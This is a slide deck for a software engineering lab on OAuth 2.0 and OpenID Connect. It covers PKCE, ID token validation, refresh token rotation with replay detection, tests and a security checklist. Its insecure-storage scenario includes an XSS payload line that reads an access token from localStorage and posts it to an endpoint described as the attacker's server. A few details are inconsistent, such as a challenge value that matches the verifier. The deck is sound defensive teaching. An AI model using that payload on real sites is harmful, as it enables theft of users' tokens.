Software Engineering Lab

Lab 31

OAuth 2.0 & OpenID Connect (OIDC)

Otorisasi, Autentikasi, dan Perlindungan Token Modern

Lukman / lukman-ss

Auth vs Authz: Kebingungan yang Berbahaya

Access Token bukan Identity — mixing keduanya membuka celah keamanan

MOTIVASI

OAuth 2.0 sering disalahpahami sebagai protokol autentikasi
Access Token menjawab 'apa yang boleh diakses', bukan 'siapa penggunanya'
OIDC menambahkan layer identitas di atas OAuth 2.0 untuk menjawab 'siapa user'

RISIKO KONFUSI

Menyimpan bearer token di localStorage → XSS mengeksploitasi
Menggunakan implicit flow → token terekspos di URL fragment
Refresh token statis → attacker mempertahankan akses selamanya

RFC 9700: Wajib Authorization Code Flow + PKCE untuk browser client

OIDC Core 1.0: ID Token JWT dengan signature & claims wajib

Implicit flow dihapus dari OAuth 2.1

OAuth 2.0 is for authorization (what you can access), OIDC is for authentication (who you are).

Empat Mekanisme Inti

PKCE, Authorization Code Grant, ID Token Validation, Refresh Token Rotation

PKCE (RFC 7636)

Client generate code_verifier (32 byte random)
code_challenge = SHA-256(code_verifier)
Mencegah authorization code interception

AUTHORIZATION CODE GRANT

Client → AS: response_type=code, code_challenge, nonce
AS → Client: authorization code (one-time, expires 5 min)
Client → AS: exchange code + code_verifier for tokens

ID TOKEN (OIDC)

JWT signed dengan HMAC-SHA256
Claims wajib: iss, sub, aud, exp, iat, nonce
Client verifikasi signature, issuer, audience, expiry, nonce

Setiap refresh menghasilkan token baru

Token lama di-revoke

Jika token lama digunakan ulang → entire token family revoked

Four pillars: PKCE for code protection, Code Flow for security, ID Token for identity, Rotation for replay defense.

Authorization Request dengan PKCE

Client mengirim challenge, nonce, state untuk keamanan

PARAMETER REQUEST

response_type=code
client_id=spa-client-123
redirect_uri=https://app.example.com/callback
scope=openid profile email

KEAMANAN

state= → anti-CSRF
code_challenge= → PKCE S256
code_challenge_method=S256
nonce= → anti-replay ID Token

1. Client generates PKCE pair + nonce + state

2. Client redirects to AS with all parameters

3. AS stores challenge & nonce bound to code

4. AS redirects back with authorization code

State, PKCE challenge, and nonce are bound to the code — interception without verifier fails.

Token Exchange: Verifikasi PKCE

Server hitung SHA-256 verifier, bandingkan dengan stored challenge

EXCHANGE REQUEST

```
grant_type=authorization_code
code=
redirect_uri=https://app.example.com/callback
client_id=spa-client-123
code_verifier=dbNVgXttw5HU018kaBwk3JusvwqMVanN4c4ghBsH88w
```

VERIFIKASI SERVER

1. Check code is unused & not expired
2. Compute SHA-256(code_verifier)
3. Compare with stored code_challenge
4. If match → issue tokens, mark code used

Attacker intercepts authorization code

Attacker does NOT have code_verifier

Exchange with wrong verifier → verification fails

Error: pkce verification failed: code_verifier does not match code_challenge

Only the legitimate client has the original verifier — attackers can't exchange the intercepted code.

ID Token: JWT Structure

Header + Claims + Signature HMAC-SHA256

JWT FORMAT

header.claims.signature (3 base64url parts)
Header: {"alg":"HS256","typ":"JWT"}
Claims: {"iss":"...","sub":"...","aud":"...","exp":...,"iat":...,"nonce":"..."}

SIGNING

1. Encode header & claims to base64url
2. unsignedToken = header + '.' + claims
3. signature = HMAC-SHA256(unsignedToken, shared_secret)
4. final = unsignedToken + '.' + signature

1. Decode & verify HMAC-SHA256 signature (constant-time)

2. iss exact match → https://auth.example.com

3. aud match → spa-client-123

4. exp > now, iat < now+300s

5. nonce match → anti-replay

JWT is three base64url segments — verify signature with HMAC-SHA256, then validate all claims.

Validation Implementation

Six-step verification process

```
parts = rawJWT.split('.')
if len(parts) != 3: return ErrMalformedJWT
```

```
unsigned = parts[0] + '.' + parts[1]
expected_sig = HMAC-SHA256(unsigned, secret)
if not hmac.Equal(sig, expected_sig): return ErrSignatureInvalid
```

```
if claims.Issuer != expectedIssuer: return ErrIssuerMismatch
if claims.Audience != expectedAudience: return ErrAudienceMismatch
if claims.Expiration <= now: return ErrTokenExpired
if claims.IssuedAt > now+300: return ErrIssuedInFuture
if claims.Nonce != expectedNonce: return ErrNonceMismatch
```

Validate in order: format, signature (constant-time), then all claims — reject on first failure.

Token Response

Access Token, ID Token, Refresh Token

ACCESS TOKEN

Bearer token opaque string (e.g., at_4e8dd945eaf2aed814aaf9717a7ee6bab364db0914917bb2)
Lifetime: 1 hour
Scope-limited, used to access protected resources
NOT for identity assertion

ID TOKEN

Signed JWT with claims (iss, sub, aud, exp, iat, nonce)
Lifetime: 1 hour
Client verifies signature, issuer, audience, expiry, nonce
Used to assert user identity

Long-lived token (e.g., 30 days)

Used to obtain new access tokens

Single-use: each refresh invalidates old token

Family tracking: replay revokes entire family

Access token for resources, ID token for identity, refresh token for rotation — never use access token as identity.

Resource Server Verification

Resource server accepts Access Token, checks scope

```
GET /api/profile HTTP/1.1
Host: api.example.com
Authorization: Bearer at_4e8dd945eaf2aed814aaf9717a7ee6bab364db0914917bb2
```

1. Extract bearer token from Authorization header

2. Validate token exists in AS token store

3. Check token scope matches requested resource

4. Return protected resource with subject from token
Resource Server verified Access Token. Subject: user_alice_99

Scope check: profile → allowed

Response: {"id":99,"name":"Alice","email":"alice@example.com"}

Resource server validates token existence & scope — never trust the token as identity without AS validation.

Refresh Token Rotation

Single-use tokens with family lineage tracking

ROTATION PROCESS

1. Client sends current refresh_token
2. AS marks token.Revoked = true
3. AS generates new refresh_token with same FamilyID
4. AS generates new access_token
5. AS returns both tokens

ROTATION OUTPUT

Rotated New Access Token :
at_8c8facd2a7dce0b35b74243d16172970a30c4e94f05853bd
Rotated New Refresh Token:
rt_a0aafd72efbf3ffb2f3cfafeacf71cf4d4e6503170fee590
FamilyID preserved: rt_c624... and rt_a0aa... belong to same family

Attacker reuses old refresh_token (already revoked)

AS checks: meta.Revoked = true

AS sets s.revokedFams[FamilyID] = true

AS returns: ErrTokenReplayDetected

Rotate tokens on every use — replay of revoked token revokes entire family.

Rotation Implementation

Revocation + new token generation + family tracking

```
meta, exists := s.refreshMeta[refreshToken]
if !exists: return ErrRefreshTokenNotFound
if s.revokedFams[meta.FamilyID]: return ErrTokenReplayDetected
if meta.Revoked: s.revokedFams[meta.FamilyID] = true; return ErrTokenReplayDetected
```

```
meta.Revoked = true
meta.UsedAt = time.Now()
```

```
newRtBytes := make([]byte, 24)
rand.Read(newRtBytes)
newRefreshToken := 'rt_' + hex.EncodeToString(newRtBytes)
s.refreshMeta[newRefreshToken] = &RefreshTokenMeta{FamilyID: meta.FamilyID, Revoked: false}
```

Check revocation twice: before (family already compromised) and after (token reused).

Scenario 1: Authorization Code Interception

Attacker intercepts code, lacks verifier

INTERCEPTION

Attacker intercepts authorization code from redirect URL
Attacker attempts token exchange with intercepted code

EXCHANGE ATTEMPT

Client code + attacker's random verifier
AS computes SHA-256(attacker_verifier)
Stored challenge: SHA-256(original_verifier)
Mismatch: challenge does not match

Error: pkce verification failed: code_verifier does not match code_challenge

Token exchange rejected

Attacker cannot obtain tokens

Legitimate client with correct verifier succeeds

Interception without verifier = failure — PKCE binds verifier to code.

Scenario 2: Forged / Tampered ID Token

Attacker modifies payload or signature

MODIFICATION ATTEMPT

Attacker intercepts ID Token
Attacker modifies payload (e.g., change sub from user_alice to admin)
Attacker generates new signature with known key

VERIFICATION FAILURE

Client verifies HMAC-SHA256 signature
Computed signature ≠ embedded signature
Return: ErrSignatureInvalid
Token rejected before claims validation

Attacker forges entirely new JWT without signing key

HMAC-SHA256 verification fails immediately

Return: ErrSignatureInvalid

No claims validation needed — signature invalid

Forged tokens fail signature verification — no key, no valid token.

Scenario 3: Refresh Token Replay

Attacker reuses already-consumed refresh token

REPLAY ATTEMPT

Attacker steals refresh token (rt_c624781adb52c6effa11d85bbe24fccf7f73eb20feeaf928)
Attacker uses stolen token after legitimate refresh
Client refreshes token → new refresh token issued, old revoked

REPLAY DETECTION

Attacker sends revoked refresh token to AS
AS checks: meta.Revoked = true
AS sets s.revokedFams[meta.FamilyID] = true
AS returns: ErrTokenReplayDetected

All active tokens in family immediately revoked

Active session: Error: refresh token reuse detected: entire token family revoked

Client must re-authenticate (force login)

Attack mitigated — attacker loses access

Single-use refresh tokens — replay of revoked token revokes entire session family.

Scenario 4: Insecure Token Storage

localStorage XSS vulnerability

VULNERABLE PRACTICE

Store access token in localStorage
Application vulnerable to XSS attack
Malicious script reads localStorage
Attacker steals access token

EXPLOITATION

XSS payload: fetch('/api/steal', {method:'POST', body:
localStorage.getItem('access_token')})
Access token sent to attacker server
Attacker uses token to access protected resources
No PKCE or refresh token protection — token is bearer

httpOnly Secure SameSite cookie (BFF pattern)

In-memory storage (react state, service variable)

DPoP or mTLS sender-constrained tokens

Never localStorage for bearer tokens

Bearer tokens in localStorage = XSS exposes token — use httpOnly cookies or in-memory.

Component Structure

Five packages + demo + tests

CORE PACKAGES

pkg/pkce/pkce.go: PKCE code verifier + S256 challenge generation/verification
pkg/oidc/oidc.go: ID Token JWT signing + verification + claims validation
pkg/server/server.go: In-memory Authorization Server + rotation + replay detection
pkg/client/client.go: Client helper for orchestration

IMPLEMENTATION

cmd/demo/main.go: End-to-end walkthrough demo
tests/oauth_test.go: 17 unit tests + race detector
go.mod: Go 1.22+ (standard library only)
No external dependencies

crypto/rand: 256-bit entropy for verifiers

crypto/hmac, crypto/sha256: HMAC-SHA256 JWT signature

encoding/json: JWT claims marshaling

encoding/base64: base64url encoding

Standard library only — crypto/rand, hmac/sha256, json, base64 for zero-dependency JWT.

Test Suite Coverage

17 test cases with race detector

PKCE TESTS

TestPKCE_S256_Valid: verifier 43–128 chars, challenge valid
TestPKCE_InvalidMethod: reject non-S256/plain
TestPKCE_Mismatch: wrong verifier rejected
TestPKCE_VerifierLength_Bounds: reject <43 or >128

ID TOKEN TESTS

TestOIDC_IDToken_Valid: signature valid, claims match
TestOIDC_IDToken_TamperedSignature: modified signature rejected
TestOIDC_IDToken_Expired: exp in past rejected
TestOIDC_IDToken_MismatchClaims: iss/aud/nonce mismatch rejected
TestOIDC_IDToken_IssuedInFuture: iat > now+300 rejected
TestOIDC_MalformedJWT: wrong structure rejected

TestOAuth2_FullFlowAndPKCEInterception: valid flow, interception blocked

TestOAuth2_RefreshTokenRotation_AndReplayDetection: rotation works, replay revoked

TestOAuth2_NegativePaths: unregistered client, bad redirect, invalid code

TestOAuth2_ExpiredAuthCode_And_ExpiredTokens: expired resources rejected

TestOAuth2_ConcurrentRefreshReplay: 10 goroutines, 9+ fail

TestOAuth2_ConcurrencyAndRace: 20 workers, no race detected

17 tests cover PKCE, ID Token validation, full flow, and concurrency — race detector passed.

Test Execution Results

PASS: 17/17, Race: PASS

```
=== RUN   TestPKCE_S256_Valid
--- PASS: TestPKCE_S256_Valid (0.00s)
=== RUN   TestOIDC_IDToken_Valid
--- PASS: TestOIDC_IDToken_Valid (0.00s)
=== RUN   TestOAuth2_FullFlowAndPKCEInterception
--- PASS: TestOAuth2_FullFlowAndPKCEInterception (0.00s)
=== RUN   TestOAuth2_RefreshTokenRotation_AndReplayDetection
--- PASS: TestOAuth2_RefreshTokenRotation_AndReplayDetection (0.00s)
PASS — 17/17 tests
```

```
=== LAB 31: OAuth 2.0 & OpenID Connect (OIDC) Demo ===
[Step 6] Interception Attack Blocked! Error: pkce verification failed
[Step 8] Refresh Token Replay Detected! Error: entire token family revoked
=== Demo Completed Successfully ===
```

Command: go test -race ./...

Result: ok labs/31-oauth2-and-oidc/tests 1.366s

No data races detected

Thread-safe operations verified

17/17 tests pass, race detector clean, demo confirms attack scenarios fail as expected.

Security Checklist

9 checkpoints before production

CHECKLIST

[ ] PKCE S256 wajib untuk semua browser client
[ ] Implicit flow & resource owner password flow dihindari
[ ] ID Token diverifikasi: signature, iss, aud, exp, iat, nonce
[ ] Authorization code one-time use, expires 5 minutes
[ ] Refresh token rotation setiap penggunaan
[ ] Replay detection → family revocation
[ ] Access token tidak digunakan untuk authentication
[ ] Token storage: httpOnly cookie atau in-memory
[ ] Concurrency thread-safe (mutex, race detector)

STANDARD

RFC 6749: OAuth 2.0 Authorization Framework
RFC 7636: Proof Key for Code Exchange
RFC 7519: JSON Web Token
RFC 8725: OAuth 2.0 Security Best Current Practice
RFC 9700: OAuth 2.0 Security Best Current Practice (2025)
OIDC Core 1.0: Authentication layer

Use JWKS endpoint for asymmetric signing (RS256/ES256)

Implement constant-time comparison for PKCE verification

Use DPoP or mTLS for sender-constrained tokens

Graceful eviction for expired codes/tokens

Validate state parameter for anti-CSRF

Nine checks cover PKCE, ID Token validation, rotation, and storage — align with RFC 9700.

6 Common Mistakes

Penghindaran praktik berbahaya

MISTAKE 1

Using access token for authentication
Access token is NOT identity — it's authorization grant
Solution: Use ID Token for user identity

MISTAKE 2

Not validating ID Token signature
Anyone can forge JWT without signature verification
Solution: Verify HMAC-SHA256 signature before claims

MISTAKE 3

Ignoring issuer/audience checks
ID Token could be intended for another client
Solution: Exact match issuer, audience exact or array match

MISTAKE 4

Storing bearer token in localStorage
XSS attacks can read localStorage and steal token
Solution: httpOnly Secure SameSite cookie or in-memory

MISTAKE 5

Using implicit flow
Static refresh tokens

Same token reused indefinitely allows permanent access

Solution: Single-use rotation with family tracking

Six mistakes: token misuse, no signature verification, no claim validation, insecure storage, implicit flow, static refresh.

Case Study: Attack Flow

From code interception to family revocation

STEP 1-3: LEGITIMATE FLOW

Generated PKCE code_challenge (S256):
dbNVgXttw5HU018kaBwk3JusvwqMVanN4c4ghBsH88w
Generated OIDC nonce: 2152fa0c9254b322d11b27dba96b99de
Access Token: at_4e8dd945eaf2aed814aaf9717a7ee6bab364db0914917bb2

STEP 4-5: ID TOKEN VALIDATION

ID Token Subject: user_alice_99
ID Token Issuer: https://auth.example.com
ID Token Audience: spa-client-123
ID Token Nonce Match: SUCCESS

Interception Attack Blocked! Error: pkce verification failed

Rotated New Refresh Token:
rt_a0aafd72efbf3ffb2f3cfafeacf71cf4d4e6503170fee590

Refresh Token Replay Detected! Error: entire token family revoked

Active session revoked due to family revocation! Error: refresh token reuse detected

Legitimate flow succeeds, interception blocked by PKCE, replay detected by rotation — defense in depth.

Lab Implementation Boundaries

Simulasi konseptual — bukan produksi database asli

BATAS 1: IN-MEMORY MOCK

Store menggunakan in-memory map (not real database)
No network latency or real HTTP transport
Tokens represented as strings, not cryptographically secure random

BATAS 2: SYMMETRIC SIGNING

HMAC-SHA256 symmetric signing for demo simplicity
Production should use asymmetric (RS256/ES256) with JWKS
No key rotation mechanism demonstrated

Demo does not validate state parameter (client-side only)

Production must validate state for anti-CSRF

No PKCE constant-time comparison (audit: LOW severity)

This lab proves concepts — production needs asymmetric signing, JWKS, state validation, constant-time compare.

Three Core Principles

Pillars for secure OAuth 2.0 & OIDC

PRINCIPLE 1: SEPARATE AUTHZ & AUTHN

OAuth 2.0 = Authorization (access token, scopes)
OIDC = Authentication (ID Token JWT, identity claims)
Never use access token as identity assertion

PRINCIPLE 2: VERIFY EVERY TOKEN

Access Token: Validate existence + scope in AS token store
ID Token: Verify HMAC-SHA256 signature + all claims (iss, aud, exp, iat, nonce)
Refresh Token: Track usage, rotate, detect replay

PKCE prevents code interception

ID Token nonce prevents replay

Refresh token rotation prevents long-term token reuse

Family revocation limits blast radius

Separate authz/autn, verify every token, defense in depth — PKCE, nonce, rotation, revocation.

Ringkasan Lab 31

Separate authz/autn, verify JWT signature, rotate refresh tokens — defense in depth.

Software Engineering Lab 31 – OAuth 2.0 & OpenID Connect (OIDC)

PKCE S256: code_verifier binds client to authorization code
ID Token: JWT with HMAC-SHA256 signature + claims validation
Refresh Token Rotation: single-use, family revocation on replay
Attack Scenarios: All blocked (interception, forgery, replay)

REPOSITORY

`github.com/lukman-ss/software-engineering-lab/tree/main/labs/31-oauth2-and-oidc`

Lukman / lukman-ss

OAuth 2.0 is authorization (what you can access), OIDC is authentication (who you are).
Never trust a JWT without cryptographic signature verification.
Refresh tokens must be single-use — replay revokes entire session family.
Repository: https://github.com/lukman-ss/software-engineering-lab/tree/main/labs/31-oauth2-and-oidc
Commit SHA: cf0cd90745a547032e8fb3a2cb838f40db1de30a
Run demo: go run ./cmd/demo
Run tests: go test -v -race ./...